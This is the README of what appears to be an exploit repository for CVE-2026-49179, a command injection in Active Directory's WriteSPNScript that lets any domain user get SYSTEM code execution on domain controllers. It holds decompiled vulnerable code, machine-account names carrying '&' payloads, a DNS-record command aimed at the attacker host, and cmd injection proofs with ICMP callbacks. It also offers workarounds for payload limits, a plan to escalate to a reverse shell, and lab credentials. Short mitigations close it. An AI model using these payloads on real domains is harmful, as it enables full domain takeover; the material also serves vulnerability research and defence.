
Preuves de concept et scripts d'exploitation pour CVE-2026-49179, une injection de commande dans la fonction WriteSPNScript d'Active Directory permettant une RCE SYSTEM sur les contrôleurs de domaine.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Injection de commande) |
| Composant affecté | ntdsai.dll — fonction WriteSPNScript |
| Systèmes affectés | Windows Server 2016, 2019, 2022, 2025 (avant correctif) |
| Vecteur d'attaque | Utilisateur de domaine authentifié (quelconque) |
| Impact | Exécution de code à distance en tant que SYSTEM sur le contrôleur de domaine |
| Publié | Août 2026 |
La fonction WriteSPNScript dans ntdsai.dll génère des commandes de script batch pour la remédiation des SPN (Service Principal Name) lors des opérations de maintenance d'Active Directory. La fonction utilise une chaîne de format pour construire les commandes repadmin.exe /writespn mais ne parvient pas à assainir le paramètre Distinguished Name (DN), permettant une injection de commande via le caractère & (séparateur de commandes cmd.exe).
La chaîne de format vulnérable :
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Paramètres : SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
Le DN est dérivé du Common Name (CN) du compte machine, qui est défini lors de la création du compte. Lorsqu'un compte machine est créé avec des métacaractères de shell dans son nom, ces caractères sont transmis sans échappement dans le script généré. Lorsque cmd.exe exécute le script, & agit comme un séparateur de commandes, exécutant des commandes contrôlées par l'attaquant en tant que SYSTEM.
Active Directory dispose de deux protocoles principaux pour gérer les comptes machine :
Cette asymétrie de validation est la cause racine :
sAMAccountName, qui devient le CN et se propage dans le DNWriteSPNScript sans assainissementÀ l'adresse 0x1802a98a0 dans le binaire non corrigé :
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formate le DN directement dans le tampon de sortie. Aucun échappement, aucun guillemet, aucun assainissement.
Pour une machine avec CN=A&ping attacker&B :
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interprète cela comme cinq instructions distinctes :
La commande injectée apparaît deux fois — une fois depuis le paramètre DN et une fois depuis le paramètre SPN (qui contient également le nom de la machine).
La fonction WriteSPNScript corrigée (taille : 1477 → 2005 octets) apporte trois changements :
Deux nouvelles fonctions d'assainissement appliquées à la fois aux paramètres DN et SPN :
EscapeForPowerShellSingleQuote() — échappe ' pour empêcher l'évasion des chaînes entre guillemets simplesEscapeForNativeArgvBackslashesBeforeDoubleQuote() — échappe les séquences \ avant " pour l'analyse native d'argvUne révision antérieure comportait un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled conditionnant le correctif. Dans le correctif final, ce flag a été supprimé — le correctif est toujours actif et ne peut pas être désactivé.
À l'aide de spn_probe3.py, test des caractères que SAMR accepte dans les noms de comptes machine par rapport à ce que LDAP accepte dans les valeurs SPN :
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Constat clé : SAMR autorise les 8 métacaractères de shell testés. LDAP les bloque tous. Le vecteur d'injection passe par les noms de machine créés via SAMR, et non par les valeurs SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Également créé en tant que samwell.tarly :
[+] Created C&ping a&D$, RID: 1138
Confirmé : un utilisateur de domaine normal (PR:L) peut créer des comptes machine avec une injection de commande & dans le nom.
Les utilisateurs de domaine normaux peuvent ajouter des enregistrements ADIDNS. Utilisation de dnstool.py pour créer un nom d'hôte court pointant vers l'attaquant :
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Résolution vérifiée sur le DC :
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Simulation de la sortie exacte que WriteSPNScript générerait, exécutée sur le DC :
Preuve d'écriture de fichier :
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
Preuve de callback ICMP :
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Le tcpdump de l'attaquant a confirmé l'arrivée des ICMP :
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
L'écriture de fichier et le callback ICMP confirment tous deux l'injection de commande via le DN.
Le sAMAccountName d'un compte machine est limité à environ 15 caractères avant le $ final (contrainte de compatibilité NetBIOS). Cela restreint sévèrement la complexité des payloads.
Impact : Impossible d'intégrer des adresses IP, des commandes longues ou des payloads complexes directement dans le nom de machine.
Contournement : Utiliser des noms d'hôtes DNS courts pour les callbacks (par exemple, un a d'un seul caractère résolvant vers l'IP de l'attaquant). Les payloads doivent être concis :
A&ping a&B (11 caractères) — callback ICMPA&echo X&B (11 caractères) — preuve d'exécutionA&calc&B (8 caractères) — preuve GUI sur le DCA&whoami&B (11 caractères) — confirmation du contexteBien que SAMR accepte les métacaractères de shell (& ' \ $ ( ) ! espace`), il rejette les caractères nécessaires aux chemins de fichiers et aux adresses réseau :
Impact : Impossible d'utiliser des adresses IP, des chemins de fichiers ou des URL directement dans les payloads.
Contournement :
%TEMP%, %SYSTEMROOT%) — bien que l'acceptation de % ne soit pas confirméeWriteSPNScript génère un fichier de script via WriteFile — il n'exécute pas les commandes directement. Le script généré doit être exécuté par un processus ultérieur. La fonction est appelée lors de :
dcdiag /fix — un administrateur exécute l'outil de diagnostic/réparationFixupSPNsOnComputerObject — correction des SPN lors de modifications d'attributsImpact : L'injection est préparée immédiatement (création de la machine), mais l'exécution dépend d'un événement déclencheur sur le DC. Dans un environnement à DC unique sans partenaire de réplication, le déclencheur peut nécessiter une activité d'administrateur (par exemple, exécuter dcdiag /fix).
Dans les environnements de production : Les déploiements multi-DC ont des cycles de réplication réguliers. Les incohérences de SPN découvertes lors de la réplication déclencheraient automatiquement WriteSPNScript dans le cadre de la résolution des conflits.
Le ms-DS-MachineAccountQuota par défaut est de 10 par utilisateur. Chaque tentative d'injection consomme un emplacement. Les comptes machine avec des caractères spéciaux dans leur nom sont difficiles à supprimer via les outils standards.
Impact : Tentatives limitées par compte utilisateur. Les tentatives échouées gaspillent le quota.
Contournement : Chaque utilisateur de domaine dispose de son propre quota. Dans les environnements avec de nombreux utilisateurs, un attaquant pourrait utiliser plusieurs comptes.
Les comptes machine créés avec &, $, (, ) dans leur nom ne peuvent pas être facilement supprimés via les outils de gestion AD standards (ADUC, PowerShell Remove-ADComputer) car les caractères spéciaux interfèrent avec l'analyse des commandes. Cela laisse des artefacts forensiques.
Un chemin d'exploitation alternatif — créer une machine au nom propre, définir des SPN valides, puis renommer pour injecter le DN — a été testé mais l'opération LDAP ModifyDN (renommage) nécessite des privilèges élevés :
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
Impact : La stratégie de renommage n'est pas viable pour PR:L. La création directe via SAMR avec des caractères d'injection est le chemin PR:L.
&<commande>& dans le nom via SAMRWriteSPNScript qui génère une commande repadmin.exe non échappéeJour 1 : L'attaquant (tout utilisateur de domaine) exécute l'exploit
- Crée la machine "A&ping a&B$" via SAMR
- Ajoute un enregistrement DNS "a" pointant vers son serveur C2
- L'injection est préparée — l'attaquant attend
Jour N : L'admin exécute dcdiag /fix (maintenance de routine)
- WriteSPNScript traite le compte machine malveillant
- Génère la commande repadmin avec le DN non échappé
- cmd.exe exécute "ping a" en tant que SYSTEM → confirme le callback
Jour N : L'attaquant met à niveau le payload
- Crée une nouvelle machine avec un payload de reverse shell
- Attend le prochain cycle de maintenance ou événement de réplication
- Shell SYSTEM sur le DC → compromission totale du domaine
Appliquer la mise à jour de sécurité du Patch Tuesday d'août 2026 de Microsoft
Auditer les comptes machine pour détecter les caractères inhabituels :
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
Définir ms-DS-MachineAccountQuota à 0 pour empêcher les utilisateurs normaux de créer des comptes machine :
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
Surveiller l'Event ID 4741 (création de compte ordinateur) pour détecter les caractères inhabituels dans les noms de comptes
Restreindre la création d'enregistrements ADIDNS si elle n'est pas nécessaire pour les utilisateurs normaux
| Protocole | Validation des caractères | Métacaractères de shell |
|---|
| LDAP (valeurs SPN) | Stricte — CONSTRAINT_ATT_TYPE rejette & ; | ' \ $ ( )` | Bloqués |
| SAMR (noms de machine) | Souple — valide le format de base du nom de compte | Autorisés : & ' \ $ ( ) ! espace` |
| # | Instruction | Résultat |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Échoue (DN tronqué) |
| 2 | ping attacker | INJECTÉ — s'exécute en tant que SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Échoue (commande invalide) |
| 4 | ping attacker | INJECTÉ — s'exécute à nouveau (depuis le paramètre SPN) |
| 5 | B | Échoue (commande invalide) |
| Base (vulnérable) | Corrigé |
|---|
| Fonction | StringCchPrintfA (ANSI) | StringCchPrintfW (Large/Unicode) |
| Guillemets | Aucun | Paramètres entre guillemets simples |
| Sortie | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| Hôte | Rôle | IP | OS |
|---|
| WINTERFELL | Contrôleur de domaine | 192.168.56.11 | Windows Server 2019 |
| Attaquant | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domaine | north.sevenkingdoms.local | ||
| Utilisateur à faibles privilèges | samwell.tarly / Heartsbane | Utilisateur de domaine normal | |
| Utilisateur admin | robb.stark / sexywolfy | Administrateur de domaine |
| Étape | Action | Acteur | Résultat |
|---|
| 1 | SAMR accepte & dans les noms de machine | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP rejette & dans les valeurs SPN | samwell.tarly | 100 % de rejet |
| 3 | Création d'enregistrement DNS pour le callback | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | Compte machine avec CN d'injection | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | Écriture de fichier via injection cmd | DC (WriteSPNScript simulé) | proof.txt = "INJECTED" |
| 6 | Callback ICMP via injection cmd | DC (WriteSPNScript simulé) | 3 pings reçus |
| Rejeté | Cas d'usage bloqué |
|---|
. (point) | Adresses IP (192.168.1.1), FQDN |
\ (barre oblique inverse) | Chemins Windows (C:\Windows\...) |
/ (barre oblique) | Chemins URL, chemins Unix |
: (deux-points) | Lettres de lecteur (C:), numéros de port |
" (guillemet double) | Guillemets/échappement dans les payloads |
< > | ; , = + * ? | Redirection, piping, jokers |
| Fichier | Description |
|---|
poc/spn_probe.py | Teste les 28 métacaractères de shell dans les valeurs SPN LDAP |
poc/spn_probe2.py | Teste le contournement par homoglyphes/pleine largeur Unicode + transport DRSUAPI |
poc/spn_probe3.py | Teste l'acceptation des caractères SAMR vs LDAP vs DRSUAPI |
poc/spn_exploit.py | Exploit via la stratégie de renommage (créer → SPN → renommer → injecter) |
poc/spn_prl_exploit.py | Exploit PR:L (création directe via SAMR + déclencheur dNSHostName optionnel) |
nspi_diff_analysis.txt | Diff binaire complet de ntdsai.dll (base vs corrigé) |